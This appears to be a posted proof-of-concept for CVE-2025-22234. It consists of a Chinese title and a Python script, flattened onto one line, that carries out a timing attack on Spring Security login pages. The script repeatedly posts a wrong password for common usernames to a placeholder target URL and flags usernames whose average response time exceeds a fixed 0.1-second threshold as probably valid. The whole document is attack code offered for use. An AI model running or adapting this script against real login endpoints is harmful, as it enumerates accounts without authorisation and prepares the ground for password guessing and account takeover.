CVE-2025-22234 Spring Security DaoAuthenticationProvider时序攻击漏洞

import time import requests # CVE-2025-22234 Timing Attack PoC # Target: VMware Spring Security applications TARGET_URL = "http://target.com/login" USERNAMES = ["admin", "user", "test", "root", "guest"] def timing_attack(username): """Measure response time for username enumeration""" times = [] data = { "username": username, "password": "wrong_password_12345" } for _ in range(10): start = time.time() response = requests.post(TARGET_URL, data=data, timeout=10) elapsed = time.time() - start times.append(elapsed) avg_time = sum(times) / len(times) return avg_time def main(): print("CVE-2025-22234 Timing Attack PoC") print("=" * 50) results = {} for user in USERNAMES: avg = timing_attack(user) results[user] = avg print(f"Username: {user:15} | Avg Response: {avg:.4f}s") # Identify valid usernames by longer response time valid = [u for u, t in results.items() if t > 0.1] print(f"\nPotential valid usernames: {valid}") if __name__ == "__main__": main()